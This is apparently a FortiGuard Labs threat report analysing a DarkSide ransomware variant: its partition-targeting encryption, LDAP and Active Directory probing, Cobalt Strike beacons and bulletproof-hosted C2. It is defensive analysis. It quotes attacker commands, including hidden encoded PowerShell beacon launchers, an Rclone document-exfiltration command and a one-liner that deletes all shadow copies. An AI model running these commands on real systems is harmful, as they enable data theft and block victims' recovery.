FortiGuard Labs Threat Research

Newly Discovered Function in DarkSide Ransomware Variant Targets Disk Partitions

FortiGuard Labs Threat Research Report

Affected Platforms: Windows
Level of Risk: HIGH/MEDIUM. This ransomware variant, written by the same criminals that targeted Colonial Pipeline, exhibits the ability to detect and compromise partitioned hard drives, a behavior not seen before.
Impact: MEDIUM. This attack currently appears to be confined to targeted organizations and is not the result of widespread wormlike activity.

Introduction of DarkSide Ransomware

FortiGuard Labs has uncovered additional tactics used by the threat actors that attacked Colonial Pipeline. In this different DarkSide ransomware variant, FortiGuard Labs researchers uncovered an ability to seek out partition information and compromise multiple disk partitions. 

At the time of discovery, FortiGuard Labs researchers believed the ransomware was seeking out partitions to find possible hidden partitions setup by systems administrators to hide backup files. But further analysis confirmed an even more advanced technique. The DarkSide Ransomware variant seeks out partitions on a multi-boot system to find additional files to encrypt, thereby causing greater damage and an increased incentive to pay a ransom to recover files.

In this blog the reader will discover:

  1. DarkSide ransomware code is efficient and well-constructed, indicating that their cybercriminal organization includes experienced software engineers
  2. The DarkSide ransomware variant (NOT the version used to disrupt Colonial Pipeline operations) is advanced in nature and was observed to seek out partitions in a multi-boot environment to create further damage. It also seeks out the domain controller and connects to its active directory via LDAP anonymous authentication.
  3. Additional insight on the files used by, and associated with, DarkSide was uncovered by the FortiGuard Incident Response team during recent engagements.
  4. The use of a well-known (to threat researchers) bulletproof host that has been used by a wide variety of malicious actors for numerous nefarious activities over the years, including the 2016 DNC elections attack in the United States.

Expanded Analysis of the DarkSide Ransomware Variant by FortiGuard Labs

FortiGuard Labs encountered novel techniques in this DarkSide ransomware variant cybercriminal organization not seen before in ransomware. The DarkSide ransomware variant[1] was obtained through our partnership with CTA. 

This ransomware sample, unrelated to the Colonial Pipeline campaign, was programmed efficiently with very little wasted space, and compiler bloat has been kept to a minimum, which is unusual for most malware. While the file size is relatively small for malware (57,856 bytes), it can deliver a much-larger-than-expected payload. The following section will look closer at two of the more unique functions that this DarkSide variant carries out. One deals with Active Directory and the other is concerned with partitions. 

Malicious actors know that Active Directory is basically a goldmine of network information. In this campaign, the DarkSide group included an Active Directory attack in their ransomware software. To accomplish this, it first attempts to look for domain controllers. 

Figure 1: finding domain controllers

If any domain controllers are found, it will then use them to try and connect to the Active Directory. However, because permissions are usually required to do this, the DarkSide ransomware variant attempts to use LDAP to authenticate anonymously. Note the use of a null password and a null username in the following sequence:

Figure 2: LDAP anonymous authentication

This DarkSide ransomware variant may then use COM to interface with Active Directory itself. If successful, the malware attempts to delete certain variables, such as defaultNamingContext and dnsHostName

After issuing Active Directory queries, the ransomware then attempts to encrypt files in network shares found in this section of the code. Note that DarkSide makes a point to avoid shares named C$ and ADMIN$, and also first checks to see if a share is writeable before trying to encrypt files in it. C$ and ADMIN$ are default and known admin shares, which are supposed to only be accessible by members of the Administrators group or the Backup Operators group if they have not been disabled or reconfigured. It seems likely that DarkSide avoids these shares on the chance that it may not be running in the context of an Administrator and attempts to access them could potentially trigger an alert.

A more unique operation was found elsewhere. In a similar fashion to Petya (also known as NotPetya) ransomware, DarkSide also scans the hard drive to perform additional actions. In the case of Petya, the MBR (Master Boot Record) was infected so that when a user turned on the computer it booted a ransom note straight from the MBR and essentially rendered the computer useless. (For more information on how this was done, please refer to our Petya blog here.) In the case of the DarkSide ransomware, however, it scans the drive to see if it is a multi-boot system to find additional volumes/partitions to try and encrypt their files as well. (NOTE: While the technical definitions of partition and volume are different, the two will be used interchangeably for the purposes of this blog.)

Figure 3: Loop through volumes

After the malware finds a targeted drive type, it checks the version of Windows it is running on. For systems running Windows 7 and above, the malware looks for volumes with a bootmgr file in it. The bootmgr file may be found in the root of the C:\ drive or it may be stored in another volume.

Figure 4: Newer OS

For systems older than Windows 7, DarkSide chooses a different approach. It calls the DeviceIoControl API using the IOCTL_DISK_GET_PARTITION_INFO_EX control code. (Incidentally, Petya also used this control code. Some of the similarities between the two attacks are quite interesting.) According to Microsoft, this control code retrieves extended information about the type, size, and nature of a disk partition. This DarkSide ransomware variant, however, uses the results in a different manner.

Figure 5: Partitions

If the partition style it finds is an MBR (Master Boot Record), it will go ahead and check to see if this partition is bootable. If not, then it will try to mount the partition. This appears to be a programming bug, as bootable partitions may contain databases and other relevant data. Perhaps DarkSide is looking to only encrypt files inside data partitions rather than those found in bootable partitions.

Figure 6: Possible MBR bug

However, if the partition style is GPT (GUID [Globally Unique Identifier] Partition Table), DarkSide takes another step. The first entry in a GUID partition’s format is the partition’s type, and as expected, it is defined by a GUID.

Partition Definition


EFI System


Windows Recovery Environment

{ DE94BBA4-06D1-4D40-A16A-BFD50179D6AC}

Figure 7: Partition types

If either of these GUIDs match the results from the call to the DeviceIoControl API, then DarkSide skips these partitions and moves on to the next one. (Unlike Petya, it appears that DarkSide at least wants to leave the infected machines in a semi-recoverable state for obvious reasons.) At this point (whether an MBR data partition or a non-excluded GPT volume), DarkSide goes ahead and attempts to mount the partition using the SetVolumeMountPointW API. Once a volume is successfully mounted, DarkSide then attempts to encrypt the files contained within.

As far as we have been able to determine, these actions are new to the ransomware scene. As a result, the global cyber security community may not be properly protected against this attack strategy. 

Additional Files Observed Being Used in an Alternate DarkSide Ransomware Campaign

While the above sample came from trusted partners, the FortiGuard Incident Response team has observed other activities related to the DarkSide Cybercriminals. The details gained from these observations shed additional light on the tactics and techniques used by the DarkSide cybercriminals. For example, they provide further insight into their usage of an SMB beacon, an HTTPS beacon, an exfiltration component using a command line tool named Rclone, WMI activity, and malware execution.

SMB and HTTPS Beacon

Further analysis of an SMB beacon used by DarkSide reveals Cobalt Strike PowerShell code. Here, the environment variable %COMSPEC% has the value of “C:\Windows\System32\cmd.exe” and provides command line arguments, unbeknownst to the user and to evade detection, that start the PowerShell application minimized without creating a new window. The encoded PowerShell code is the Cobalt Strike SMB Beacon payload:

%COMPSPEC% /b /c start /b /min powershell -nop -w hidden -encodedcommand <Encoded SMB Beacon payload>

The decoded PowerShell command creates a named pipe, “\\.\pipe\UIA_PIPE_”, in its SMB beacon communication. The pipe is bi-directional; both server and client processes can read from and write to the pipe:

CreateNamedPipeA(\\.\pipe\UIA_PIPE_xxxx, 3, 6, 1, 4b000, 4b000, 0, 0)

Another finding is the discovery of an HTTPs Beacon. The following PowerShell command runs the HTTPS BEACON payload on hosts that connect outbound to the malware’s Command and Control (C2) server located at IP (185.180.197[.]86) . It does this using the command InternetConnectA(, port: 443, ). 

%COMPSPEC% /b /c start /b /min powershell -nop -w hidden -encodedcommand <Encoded HTTPS Beacon payload>

This C2 IP address, 185.180.197[.]86, was very active in 2019, and was observed again in 2021-04-19 after a long pause. We do not know why this IP address remained dormant for over a year.

Figure 11. Historical traffic from 2019 – 2021 for 185.180.197[.]86

The passive DNS entries for the C2 IP 185[.]180[.]197[.]86 are listed below. Other threat researchers have reported this IP being used by DarkSide, and this gives some insight into the kinds of data it is used for. As can be seen, prior to its use as a C2 server for ransomware, it was primarily used for pornography.

Figure 12. Historical passive DNS entries for 185.180.197[.]86

Further Examination of the DarkSide Ransomware C2: IP

Upon further examination, the 185[.]180[.]197[.]86 IP address was found to be co-located in the United States with KingServers B.V. KingServers has been classified as a bulletproof host by the infosec community, and although based in the Netherlands, it has ties to Russia, where DarkSide is located.

Bulletproof hosting is a service provided by some hosting firms that provides considerable leniency in the kinds of material uploaded and distributed by their customers, or in the activities they can engage in without getting taken down. KingServers is a hosting site well known to the InfoSec community and has been covered extensively by security journalist Brian Krebs among others. Specifically, its hosting service was used in several notable attacks, such as attacks on an India-based IT outsourcing firm to perpetrate gift card fraud, as well as for the 2016 DNC attacks in the United States.

Review of observed telemetry over a 30-day period highlights a concentration of traffic from U.S. based machines connecting to the DarkSide C2 server, with the United States at the top (60%), followed by the Netherlands (9%), Singapore (8%), Brazil (4%), and Great Britain (4%). This corresponds to reports that Darkside netted at least $60 million in its first seven months, with $46 million coming in the first three months of this year.

Figure 13. Traffic to 185[.]180[.]197[.]86 over 30 days

Figure 14. Port 443 Traffic to 185.180.197[.]86 over 30 days

The Darkside ransomware attackers established command and control primarily with an RDP client running over Port 443, routed through TOR. Connections between Port 443 and the C2 server 185[.]180[.]197[.]86:443 over a 30-day period reveal a concentration of traffic from U.S. based machines, with the United States at the top (82%), followed by the Netherlands (9%), with Great Britain, Iceland, and the Philippines/Switzerland (tied) rounding out the top 5 pings.


A Windows task discovered during our analysis shows how data exfiltration was initiated. It was performed using Rclone, a command line tool used to sync files and directories between a local system and cloud storage. In this case, the Rclone binary was renamed to evade detection and dropped into the directory “C:\Users\Public\”. The threat actor was looking to exfiltrate files created in the last year in the file formats of .xls, .xlsx, .doc, .docx, and .pdf.

Rclone copy <source> <dest> –max-age 1y –ignore-existing –drive-chunk-size 512M –buffer-size=4G –transfers 20 –checkers 40 –include *.{xls,xlsx,doc,docx,pdf}

WMI Activity

To thwart data recovery, the ransomware payload attempted to access the Windows Management Instrumentation (WMI) service. 

Further compounding the impact of the attack, the de-obfuscated PowerShell command was discovered:

“Get-WmiObject W32_Shadowcopy | ForEach-Object {$_.Delete();}” 

It used the PowerShell cmdlet Get-WmiObject to delete all the Volume Shadow copies to thwart data recovery.

Malware Execution

PsExec, a remote administration tool, was seen running the main malware payload (.exe). The ransomware payload (.dll) was hosted on a shared folder, and a batch script was run to copy the payload to the host’s C:\Users\Public directory. This payload was executed using rundll32, and a service was created to maintain persistence. There were multiple encryption routines within the worker process, and the encryption routines were called directly to perform encryption and create ransomware artifacts.

DarkSide Ransmware Conclusion

This blog highlights that the threat actors behind DarkSide are not your average ransomware as a service group. Due to the sophistication of its attacks and code, it is also unlikely the mastermind of one person. The level of detail, effort, planning and time that the group has undertaken, not only creating the ransomware itself, but taking the time to note what data was stolen, the amount of data, what it contained (as well as how much data in GB), and the taken to organize and shame victims all highlight that this is the work of an organization with considerable resources and time.

For introductory insights into DarkSide relating to the Colonial Pipeline attack, please refer to our previous blog and Threat Signal reports.

Fortinet Protections

FortiGuard Labs

FortiGuard Labs has the following AV signatures in place for publicly available DarkSide Ransomware and associated campaign samples as:














FortiGuard Labs has the following IPS signatures in place for Cobalt Strike Beacon Activity as:


For TOR (darkweb) activity, FortiGuard Labs Application Control signatures detect all TOR-related activity.


All related IOCs have been added to our Cloud intelligence and will be blocked if executed on customer systems.

FortiEDR detects and blocks the WMI service access operation cited above, as follows:

FortiEDR also detects and blocks “Rundll32.exe”, which is used to execute the ransomware worker process.


All available network IOCs are blocked by the client.

Other Mitigations

Due to the ease of disruption and potential for damage to daily operations, reputation, and the unwanted release of personally identifiable information (PII), etc., it is essential to keep all AV and IPS signatures up to date.

It is also vital to ensure that all known vendor vulnerabilities within an organization are addressed and updated to protect against attackers establishing a foothold within a network.

Since most ransomware attacks originate with a compromised end user, organizations are also encouraged to conduct ongoing training sessions to educate and inform personnel about the latest phishing/spearphishing attacks. They also need to encourage employees to never open attachments from someone they don't know and always treat emails from unrecognized/untrusted senders with caution. This can be accomplished through regular training sessions and impromptu tests using predetermined templates by an organizations' internal security department. Simple user awareness training on how to spot emails with malicious attachments or links could also help prevent initial access into the network.

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